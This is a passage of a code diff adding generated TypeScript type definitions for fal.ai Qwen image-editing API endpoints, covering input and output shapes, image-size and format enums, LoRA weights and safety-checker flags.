+ seed?: number | null + /** + * @description The negative prompt to generate an image from. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The prompt to edit the image with. + * @example Change angle to front view + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The guidance scale to use for the image generation. + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The URLs of the images to edit. + * @example ["https://v3b.fal.media/files/b/0a877afe/karyVuQ62j0V6ErYzyW-w_image_6.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image. If None, uses the input image dimensions. + */ + image_size?: + | ImageSize3A3Bcd90 + | InputFalAiQwenImageEdit2511ImageSizeKey + | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2511OutputFormatEnumKey + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2511AccelerationEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type Image44847740 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number + url: string +} + +export type OutputFalAiQwenImageEdit2511 = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @example [{"url":"https://v3b.fal.media/files/b/0a877afe/InJJA0Q1gtQnyK1N3wdg5.png","content_type":"image/png","width":1376,"height":768}] + * @type array + */ + images: Image44847740[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type ImageSize5980Ead4 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEdit2511MultipleAnglesOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiQwenImageEdit2511MultipleAnglesOutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2511MultipleAnglesOutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2511MultipleAnglesOutputFormatEnum] + +export const inputFalAiQwenImageEdit2511MultipleAnglesImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEdit2511MultipleAnglesImageSizeKey = + (typeof inputFalAiQwenImageEdit2511MultipleAnglesImageSize)[keyof typeof inputFalAiQwenImageEdit2511MultipleAnglesImageSize] + +export const inputFalAiQwenImageEdit2511MultipleAnglesAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiQwenImageEdit2511MultipleAnglesAccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2511MultipleAnglesAccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2511MultipleAnglesAccelerationEnum] + +/** + * @description Input model for Multiple Angles endpoint - Camera control with precise adjustments using trigger word. + * Prompt is built automatically from slider values. + * @type object + */ +export type InputFalAiQwenImageEdit2511MultipleAngles = { + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2511MultipleAnglesOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Horizontal rotation angle around the object in degrees. 0°=front view, 90°=right side, 180°=back view, 270°=left side, 360°=front view again. + * @minimum 0 + * @maximum 360 + * @default 0 + * @type number | undefined + */ + horizontal_angle?: number + /** + * @description Additional text to append to the automatically generated prompt. + */ + additional_prompt?: string | null + /** + * @description The scale factor for the LoRA model. Controls the strength of the camera control effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description The size of the generated image. If not provided, the size of the input image will be used. + */ + image_size?: + | ImageSize5980Ead4 + | InputFalAiQwenImageEdit2511MultipleAnglesImageSizeKey + | null + /** + * @description Random seed for reproducibility. + */ + seed?: number | null + /** + * @description Camera zoom/distance. 0=wide shot (far away), 5=medium shot (normal), 10=close-up (very close). + * @minimum 0 + * @maximum 10 + * @default 5 + * @type number | undefined + */ + zoom?: number + /** + * @description Vertical camera angle in degrees. -30°=low-angle shot (looking up), 0°=eye-level, 30°=elevated, 60°=high-angle, 90°=bird's-eye view (looking down). + * @minimum -30 + * @maximum 90 + * @default 0 + * @type number | undefined + */ + vertical_angle?: number + /** + * @description If `True`, the media will be returned as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt for the generation + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The CFG (Classifier Free Guidance) scale. + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Acceleration level for image generation. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2511MultipleAnglesAccelerationEnumKey + /** + * @description The URL of the image to adjust camera angle for. + * @example ["https://v3b.fal.media/files/b/0a8973cb/qUbVwDCcMlvX4drBGYB1H.png"] + * @type array + */ + image_urls: string[] +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageFa572Cc7 = { + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +/** + * @description Output model for Multiple Angles endpoint + * @type object + */ +export type OutputFalAiQwenImageEdit2511MultipleAngles = { + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/0a8973d9/8Z0xxKdGnoJAWc2tKJ68f.png"}] + * @type array + */ + images: ImageFa572Cc7[] + /** + * @description The constructed prompt used for generation + * @type string + */ + prompt: string + /** + * @description The seed used for generation + * @type integer + */ + seed: number +} + +export type LoraWeight046D0636 = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSizeD585De08 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiQwenImageEdit2511LoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEdit2511LoraImageSizeKey = + (typeof inputFalAiQwenImageEdit2511LoraImageSize)[keyof typeof inputFalAiQwenImageEdit2511LoraImageSize] + +export const inputFalAiQwenImageEdit2511LoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiQwenImageEdit2511LoraOutputFormatEnumKey = + (typeof inputFalAiQwenImageEdit2511LoraOutputFormatEnum)[keyof typeof inputFalAiQwenImageEdit2511LoraOutputFormatEnum] + +export const inputFalAiQwenImageEdit2511LoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiQwenImageEdit2511LoraAccelerationEnumKey = + (typeof inputFalAiQwenImageEdit2511LoraAccelerationEnum)[keyof typeof inputFalAiQwenImageEdit2511LoraAccelerationEnum] + +export type InputFalAiQwenImageEdit2511Lora = { + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The LoRAs to use for the image generation. You can use up to 3 LoRAs and they will be merged together to generate the final image. + * @default [] + * @type array | undefined + */ + loras?: LoraWeight046D0636[] + /** + * @description The negative prompt to generate an image from. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The prompt to edit the image with. + * @example Change angle to front view + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The guidance scale to use for the image generation. + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The URLs of the images to edit. + * @example ["https://v3b.fal.media/files/b/0a877afe/karyVuQ62j0V6ErYzyW-w_image_6.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image. If None, uses the input image dimensions. + */ + image_size?: + | ImageSizeD585De08 + | InputFalAiQwenImageEdit2511LoraImageSizeKey + | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEdit2511LoraOutputFormatEnumKey + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEdit2511LoraAccelerationEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type Image5691Ae93 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number + url: string +} + +export type OutputFalAiQwenImageEdit2511Lora = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @example [{"url":"https://v3b.fal.media/files/b/0a877afe/InJJA0Q1gtQnyK1N3wdg5.png","content_type":"image/png","width":1376,"height":768}] + * @type array + */ + images: Image5691Ae93[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type ImageSizeC40529C4 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type LoraWeight323B531E = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiQwenImageEditLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEditLoraImageSizeKey = + (typeof inputFalAiQwenImageEditLoraImageSize)[keyof typeof inputFalAiQwenImageEditLoraImageSize] + +export const inputFalAiQwenImageEditLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiQwenImageEditLoraOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditLoraOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditLoraOutputFormatEnum] + +export const inputFalAiQwenImageEditLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiQwenImageEditLoraAccelerationEnumKey = + (typeof inputFalAiQwenImageEditLoraAccelerationEnum)[keyof typeof inputFalAiQwenImageEditLoraAccelerationEnum] + +export type InputFalAiQwenImageEditLora = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The negative prompt for the generation + * @default ' ' + * @example blurry, ugly + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The prompt to generate the image with + * @example Change bag to apple macbook + * @type string + */ + prompt: string + /** + * @description The size of the generated image. + */ + image_size?: + | ImageSizeC40529C4 + | InputFalAiQwenImageEditLoraImageSizeKey + | null + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditLoraOutputFormatEnumKey + /** + * @description The URL of the image to edit. + * @example https://v3.fal.media/files/koala/oei_-iPIYFnhdB8SxojND_qwen-edit-res.png + * @type string + */ + image_url: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use up to 3 LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight323B531E[] + /** + * @description Acceleration level for image generation. Options: 'none', 'regular'. Higher acceleration increases speed. 'regular' balances speed and quality. + * @default 'none' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditLoraAccelerationEnumKey +} + +export type Image1059B859 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + url: string +} + +export type OutputFalAiQwenImageEditLora = { + /** + * @description The generated image files info. + * @example [{"height":768,"content_type":"image/jpeg","width":1024,"url":"https://v3.fal.media/files/elephant/P-YCIAg6wtFn1hsF34fzL_qwen-edit.png"}] + * @type array + */ + images: Image1059B859[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeAcc3A049 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEditPlusOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiQwenImageEditPlusOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditPlusOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditPlusOutputFormatEnum] + +export const inputFalAiQwenImageEditPlusImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEditPlusImageSizeKey = + (typeof inputFalAiQwenImageEditPlusImageSize)[keyof typeof inputFalAiQwenImageEditPlusImageSize] + +export const inputFalAiQwenImageEditPlusAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiQwenImageEditPlusAccelerationEnumKey = + (typeof inputFalAiQwenImageEditPlusAccelerationEnum)[keyof typeof inputFalAiQwenImageEditPlusAccelerationEnum] + +export type InputFalAiQwenImageEditPlus = { + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The URLs of the images to edit. + * @example ["https://v3.fal.media/files/monkey/i3saq4bAPXSIl08nZtq9P_ec535747aefc4e31943136a6d8587075.png","https://v3.fal.media/files/penguin/BCOZp6teRhSQFuOXpbBOa_da8ef9b4982347a2a62a516b737d4f21.png","https://v3.fal.media/files/tiger/sCoZhBksx9DvwSR4_U3_C_3d1f581441874005908addeae9c10d0f.png"] + * @type array + */ + image_urls: string[] + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditPlusOutputFormatEnumKey + /** + * @description The prompt to generate the image with + * @example Close shot of a woman standing in next to this car on this highway + * @type string + */ + prompt: string + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSizeAcc3A049 | InputFalAiQwenImageEditPlusImageSizeKey + /** + * @description Acceleration level for image generation. Options: 'none', 'regular'. Higher acceleration increases speed. 'regular' balances speed and quality. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditPlusAccelerationEnumKey +} + +export type Image4C19E529 = { + height: number + width: number + url: string + /** + * @default image/jpeg + */ + content_type?: string | null +} + +export type OutputFalAiQwenImageEditPlus = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @example [{"height":768,"width":1024,"url":"https://v3.fal.media/files/zebra/mMW8_S5PeGuDXLTfIKCpG.png","content_type":"image/jpeg"}] + * @type array + */ + images: Image4C19E529[] +} + +export type ImageSizeB1Ebd157 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type LoraWeight79De6949 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export const inputFalAiQwenImageEditPlusLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEditPlusLoraImageSizeKey = + (typeof inputFalAiQwenImageEditPlusLoraImageSize)[keyof typeof inputFalAiQwenImageEditPlusLoraImageSize] + +export const inputFalAiQwenImageEditPlusLoraAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiQwenImageEditPlusLoraAccelerationEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraAccelerationEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraAccelerationEnum] + +export const inputFalAiQwenImageEditPlusLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiQwenImageEditPlusLoraOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraOutputFormatEnum] + +export type InputFalAiQwenImageEditPlusLora = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate the image with + * @example Close shot of a woman standing in next to this car on this highway + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used to calculate the size of the output image. + */ + image_size?: + | ImageSizeB1Ebd157 + | InputFalAiQwenImageEditPlusLoraImageSizeKey + | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URLs of the images to edit. + * @example ["https://v3.fal.media/files/monkey/i3saq4bAPXSIl08nZtq9P_ec535747aefc4e31943136a6d8587075.png","https://v3.fal.media/files/penguin/BCOZp6teRhSQFuOXpbBOa_da8ef9b4982347a2a62a516b737d4f21.png","https://v3.fal.media/files/tiger/sCoZhBksx9DvwSR4_U3_C_3d1f581441874005908addeae9c10d0f.png"] + * @type array + */ + image_urls: string[] + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The LoRAs to use for the image generation. You can use up to 3 LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight79De6949[] + /** + * @description Acceleration level for image generation. Options: 'none', 'regular'. Higher acceleration increases speed. 'regular' balances speed and quality. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditPlusLoraAccelerationEnumKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditPlusLoraOutputFormatEnumKey +} + +export type Image89901F44 = { + url: string + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number +} + +export type OutputFalAiQwenImageEditPlusLora = { + /** + * @description The generated image files info. + * @example [{"url":"https://v3.fal.media/files/zebra/mMW8_S5PeGuDXLTfIKCpG.png","height":768,"content_type":"image/jpeg","width":1024}] + * @type array + */ + images: Image89901F44[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize21Db65C0 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEditPlusLoraGalleryAddBackgroundImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEditPlusLoraGalleryAddBackgroundImageSizeKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryAddBackgroundImageSize)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryAddBackgroundImageSize] + +export const inputFalAiQwenImageEditPlusLoraGalleryAddBackgroundOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryAddBackgroundOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryAddBackgroundOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryAddBackgroundOutputFormatEnum] + +export const inputFalAiQwenImageEditPlusLoraGalleryAddBackgroundAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryAddBackgroundAccelerationEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryAddBackgroundAccelerationEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryAddBackgroundAccelerationEnum] + +/** + * @description Input model for Add Background endpoint - Remove white background and add a realistic scene + * @type object + */ +export type InputFalAiQwenImageEditPlusLoraGalleryAddBackground = { + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Describe the background/scene you want to add behind the object. The model will remove the white background and add the specified environment. + * @default 'Remove white background and add a realistic scene behind the object' + * @example Add an outdoor scene with mountains and road behind the car + * @example Add a modern living room background behind the product + * @example Add a natural outdoor setting with grass and trees as background + * @type string | undefined + */ + prompt?: string + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URLs of the images to edit. Provide an image with a white or clean background. + * @example ["https://v3b.fal.media/files/b/rabbit/YN3dXLQBWb2ch6V607Uuc_d808599bb92f4c808502a118697bdc1f.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSize21Db65C0 + | InputFalAiQwenImageEditPlusLoraGalleryAddBackgroundImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditPlusLoraGalleryAddBackgroundOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditPlusLoraGalleryAddBackgroundAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image2766023B = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEditPlusLoraGalleryAddBackground = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/lion/d_xp44RvnuYYxioxBgAlX.png"}] + * @type array + */ + images: Image2766023B[] +} + +export type ImageSizeAdcb7747 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitImageSize = + { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitImageSizeKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitImageSize)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitImageSize] + +export const inputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitOutputFormatEnum] + +export const 